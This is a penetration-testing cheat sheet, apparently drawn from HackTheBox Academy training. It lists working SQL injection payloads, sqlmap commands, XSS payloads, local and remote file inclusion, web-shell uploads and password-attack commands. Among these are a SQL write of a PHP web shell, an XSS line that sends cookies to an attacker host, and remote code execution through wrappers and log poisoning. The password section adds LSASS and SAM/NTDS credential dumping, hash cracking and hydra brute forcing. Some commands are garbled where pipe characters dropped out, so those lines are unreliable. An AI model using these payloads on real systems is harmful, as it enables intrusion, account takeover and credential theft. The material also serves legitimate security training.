MySQL Operator Precedence - Division (/), Multiplication (*), and Modulus (%) - Addition (+) and Subtraction (-) - Comparison (=, >, \<, \<=, >=, !=, LIKE) - NOT (!) - AND (&&) - OR (||)

SQL Injection

Payload Description
Auth Bypass
admin' or '1'='1 Basic Auth Bypass
admin')-- - Basic Auth Bypass With comments
Auth Bypass Payloads
Union Injection
' order by 1-- - Detect number of columns using order by
cn' UNION select 1,2,3-- - Detect number of columns using Union injection
cn' UNION select 1,@@version,3,4-- - Basic Union injection
UNION select username, 2, 3, 4 from passwords-- - Union injection for 4 columns
DB Enumeration
SELECT @@version Fingerprint MySQL with query output
SELECT SLEEP(5) Fingerprint MySQL with no output
cn' UNION select 1,database(),2,3-- - Current database name
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - List all databases
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - List all tables in a specific database
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - List all columns in a specific table
cn' UNION select 1, username, password, 4 from dev.credentials-- - Dump data from a table in another database
Privileges
cn' UNION SELECT 1, user(), 3, 4-- - Find current user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- - Find if user has admin privileges
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- - Find if all user privileges
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - Find which directories can be accessed through MySQL
File Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - Read local file
select 'file written successfully!' into outfile '/var/www/html/proof.txt' Write a string to a local file
cn' union select "",'\<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - Write a web shell into the base web directory

SQLMAP

Command Description
sqlmap -h View the basic help menu
sqlmap -hh View the advanced help menu
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch Run SQLMap without asking for user input
sqlmap 'http://www.example.com/' --data 'uid=1&name=test' SQLMap with POST request
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' POST request specifying an injection point with an asterisk
sqlmap -r req.txt Passing an HTTP request file to SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' Specifying a cookie header
sqlmap -u www.target.com --data='id=1' --method PUT Specifying a PUT request
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt Store traffic to an output file
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch Specify verbosity level
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" Specifying a prefix or suffix
sqlmap -u www.example.com/?id=1 -v 3 --level=5 Specifying the level and risk
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba Basic DB enumeration
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb Table enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname Table/row enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" Conditional enumeration
sqlmap -u "http://www.example.com/?id=1" --schema Database schema enumeration
sqlmap -u "http://www.example.com/?id=1" --search -T user Searching for data
sqlmap -u "http://www.example.com/?id=1" --passwords --batch Password enumeration and cracking
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" Anti-CSRF token bypass
sqlmap --list-tampers List all tamper scripts
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba Check for DBA privileges
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" Reading a local file
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" Writing a file
sqlmap -u "http://www.example.com/?id=1" --os-shell Spawning an OS shell

XSS

Code Description
XSS Payloads
\<script>alert(window.origin)\</script> Basic XSS Payload
\<plaintext> Basic XSS Payload
\<script>print()\</script> Basic XSS Payload
\<img src="" onerror=alert(window.origin)> HTML-based XSS Payload
\<script>document.body.style.background = "#141d2b"\</script> Change Background Color
\<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"\</script> Change Background Image
\<script>document.title = 'HackTheBox Academy'\</script> Change Website Title
\<script>document.getElementsByTagName('body')[0].innerHTML = 'text'\</script> Overwrite website's main body
\<script>document.getElementById('urlform').remove();\</script> Remove certain HTML element
\<script src="http://OUR_IP/script.js">\</script> Load remote script
\<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie\</script> Send Cookie details to us
Commands
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" Run xsstrike on a url parameter
sudo nc -lvnp 80 Start netcat listener
sudo php -S 0.0.0.0:80 Start PHP server

Path traversal

Local File Inclusion

Command Description
Basic LFI
/index.php?language=/etc/passwd Basic LFI
/index.php?language=../../../../etc/passwd LFI with path traversal
/index.php?language=/../../../etc/passwd LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd LFI with approved path
LFI Bypasses
/index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter

Remote Code Execution

Command Description
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id RCE with data wrapper
curl -s -X POST --data '\<?php system($_GET["cmd"]); ?>' "http://\<SERVER_IP>:\<PORT>/index.php?language=php://input&cmd=id" RCE with input wrapper
curl -s "http://\<SERVER_IP>:\<PORT>/index.php?language=expect://id" RCE with expect wrapper
RFI
echo '\<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server \<LISTENING_PORT> Host web shell
/index.php?language=http://\<OUR_IP>:\<LISTENING_PORT>/shell.php&cmd=id Include remote PHP web shell
LFI + Upload
echo 'GIF8\<?php system($_GET["cmd"]); ?>' > shell.gif Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id RCE with malicious uploaded image
echo '\<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create malicious zip archive 'as jpg'
/index.php?language=zip://shell.zip%23shell.php&cmd=id RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg Create malicious phar 'as jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id RCE with malicious uploaded phar
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE through poisoned PHP session
curl -s "http://\<SERVER_IP>:\<PORT>/index.php" -A '\<?php system($_GET["cmd"]); ?>' Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id RCE through poisoned PHP session

Misc

Command Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://\<SERVER_IP>:\<PORT>/index.php?FUZZ=value' -fs 2287 Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://\<SERVER_IP>:\<PORT>/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://\<SERVER_IP>:\<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://\<SERVER_IP>:\<PORT>/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations
LFI Wordlists
LFI-Jhaddix.txt

File Inclusion Functions

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

File Upload

Web Shells

Web Shell Description
\<?php file_get_contents('/etc/passwd'); ?\> Basic PHP File Read
\<?php system('hostname'); ?\> Basic PHP Command Execution
\<?php system($_REQUEST['cmd']); ?\> Basic PHP Web Shell
\<% eval request('cmd') %> Basic ASP Web Shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php Generate PHP reverse shell
PHP Web Shell PHP Web Shell
PHP Reverse Shell PHP Reverse Shell
Web/Reverse Shells List of Web Shells and Reverse Shells

Bypasses

Command Description
Client-Side Bypass
[CTRL+SHIFT+C] Toggle Page Inspector
Blacklist Bypass
shell.phtml Uncommon Extension
shell.pHp Case Manipulation
PHP Extensions List of PHP Extensions
ASP Extensions List of ASP Extensions
Web Extensions List of Web Extensions
Whitelist Bypass
shell.jpg.php Double Extension
shell.php.jpg Reverse Double Extension
%20, %0a, %00, %0d0a, /, .\, ., … Character Injection - Before/After Extension
Content/Type Bypass
Web Content-Types List of Web Content-Types
Content-Types List of All Content-Types
File Signatures List of File Signatures/Magic Bytes

Limited Uploads

Potential Attack File Types
XSS HTML, JS, SVG, GIF
XXE/SSRF XML, SVG, PDF, PPT, DOC
DoS ZIP, JPG, PNG

Password Attacks Cheatsheet

Password attacks are a pervasive threat in the digital landscape, often serving as the primary vector for cybercriminals to breach secure systems. In recent years, compromised credentials have been responsible for a significant majority of data breaches, with 81% of such incidents in 2020 attributed to weak or stolen passwords[1][2]. These attacks exploit vulnerabilities in user authentication, leveraging techniques such as phishing, man-in-the-middle attacks, brute force attempts, and credential stuffing to gain unauthorized access to sensitive information[1][2]. As technology advances, so too do the methods employed by hackers, making it increasingly important for individuals and organizations to implement robust security measures, including strong password policies and multi-factor authentication, to protect against these ever-evolving threats[5].

Connecting to Target

Command Description
xfreerdp /v: /u:htb-student /p:HTB_@cademy_stdnt! CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol.
evil-winrm -i -u user -p password Uses Evil-WinRM to establish a Powershell session with a target.
ssh user@ Uses SSH to connect to a target using a specified user.
smbclient -U user \\\SHARENAME Uses smbclient to connect to an SMB share using a specified user.
python3 smbserver.py -smb2support CompData /home//Documents/ Uses smbserver.py to create a share on a linux-based attack host. Can be useful when needing to transfer files from a target to an attack host.

Password Mutations

Command Description
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist Uses cewl to generate a wordlist based on keywords present on a website.
hashcat --force password.list -r custom.rule --stdout > mut_password.list Uses Hashcat to generate a rule-based word list.
./username-anarchy -i /path/to/listoffirstandlastnames.txt Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.
curl -s https://fileinfo.com/filetypes/compressed html2text

Remote Password Attacks

Command Description
crackmapexec winrm -u user.list -p password.list Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.
crackmapexec smb -u "user" -p "password" --shares Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.
hydra -L user.list -P password.list :// Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.
hydra -l username -P password.list :// Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.
hydra -L user.list -p password :// Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.
hydra -C ssh:// Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.
crackmapexec smb --local-auth -u -p --sam Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.
crackmapexec smb --local-auth -u -p --lsa Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.
crackmapexec smb -u -p --ntds Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.
evil-winrm -i -u Administrator -H "" Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.

Windows Local Password Attacks

Command Description
tasklist /svc A command-line-based utility in Windows used to list running processes.
findstr /SIM /C:"password" .txt .ini .cfg .config .xml .git .ps1 .yml Uses Windows command-line based utility findstr to search for the string "password" in many different file type.
Get-Process lsass A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line.
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials.
pypykatz lsa minidump /path/to/lsassdumpfile Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file.
reg.exe save hklm\sam C:\sam.save Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system).
move sam.save \\NameofFileShare Uses move in Windows to transfer a file to a specified file share over the network.
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL Uses Secretsdump.py to dump password hashes from the SAM database.
vssadmin CREATE SHADOW /For=C: Uses Windows command line based tool vssadmin to create a volume shadow copy for C:. This can be used to make a copy of NTDS.dit safely.
cmd.exe /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C:.

Linux Local Password Attacks

Command Description
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null grep -v "lib
for i in $(find / -name *.cnf 2>/dev/null grep -v "doc
for l in $(echo ".sql .db .db .db");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null grep -v "doc
find /home/ -type f -name ".txt" -o ! -name "." Uses Linux-based find command to search for text files.
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null grep -v "doc
for ext in $(echo ".xls .xls .xltx .csv .od .doc .doc .pdf .pot .pot .pp");do echo -e "\nFile extension: " $ext; find / -name $ext 2>/dev/null grep -v "lib
cat /etc/crontab Uses Linux-based cat command to view the contents of crontab in search for credentials.
ls -la /etc/cron.*/ Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory.
grep -rnw "PRIVATE KEY" /* 2>/dev/null grep ":1"
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null grep ":1"
grep -rnw "ssh-rsa" /home/* 2>/dev/null grep ":1"
tail -n5 /home//.bash Uses Linux-based tail command to search the through bash history files and output the last 5 lines.
python3 mimipenguin.py Runs Mimipenguin.py using python3.
bash mimipenguin.sh Runs Mimipenguin.sh using bash.
python2.7 lazagne.py all Runs Lazagne.py with all modules using python2.7
ls -l .mozilla/firefox/ grep default
cat .mozilla/firefox/1bplpd86.default-release/logins.json jq .
python3.9 firefox_decrypt.py Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9.
python3 lazagne.py browsers Runs Lazagne.py browsers module using Python 3.

Cracking Passwords

Command Description
hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt Uses Hashcat to crack NTLM hashes using a specified wordlist.
hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt --show Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output.
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking.
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked.
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file.
hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked.
ssh2john.pl SSH.private > ssh.hash Runs Ssh2john.pl script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash.
john ssh.hash --show Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal.
office2john.py Protected.docx > protected-docx.hash Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash.
john --wordlist=rockyou.txt protected-docx.hash Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash.
pdf2john.pl PDF.pdf > pdf.hash Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked.
john --wordlist=rockyou.txt pdf.hash Runs John in conjunction with a wordlist to crack a pdf hash.
zip2john ZIP.zip > zip.hash Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash.
john --wordlist=rockyou.txt zip.hash Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash.
bitlocker2john -i Backup.vhd > backup.hashes Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes.
file GZIP.gzip Uses the Linux-based file tool to gather file format information.
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null tar xz;done

Hydra

Command Description
hydra -h hydra help
hydra -C wordlist.txt SERVER_IP -s PORT http-get / Basic Auth Brute Force - Combined Wordlist
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get / Basic Auth Brute Force - User/Pass Wordlists
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'" Login Form Brute Force - Static User, Pass Wordlist
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4 SSH Brute Force - User/Pass Wordlists
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1 FTP Brute Force - Static User, Pass Wordlist

Wordlists

Command Description
/opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt Default Passwords Wordlist
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt Common Passwords Wordlist
/opt/useful/SecLists/Usernames/Names/names.txt Common Names Wordlist

Misc

Command Description
cupp -i Creating Custom Password Wordlist
sed -ri '/^.{,7}$/d' william.txt Remove Passwords Shorter Than 8
sed -ri '/[!-/:-@[-`{-~]+/!d' william.txt Remove Passwords With No Special Chars
sed -ri '/[0-9]+/!d' william.txt Remove Passwords With No Numbers
./username-anarchy Bill Gates > bill.txt Generate Usernames List
ssh b.gates@SERVER_IP -p PORT SSH to Server
ftp 127.0.0.1 FTP to Server
su - user Switch to User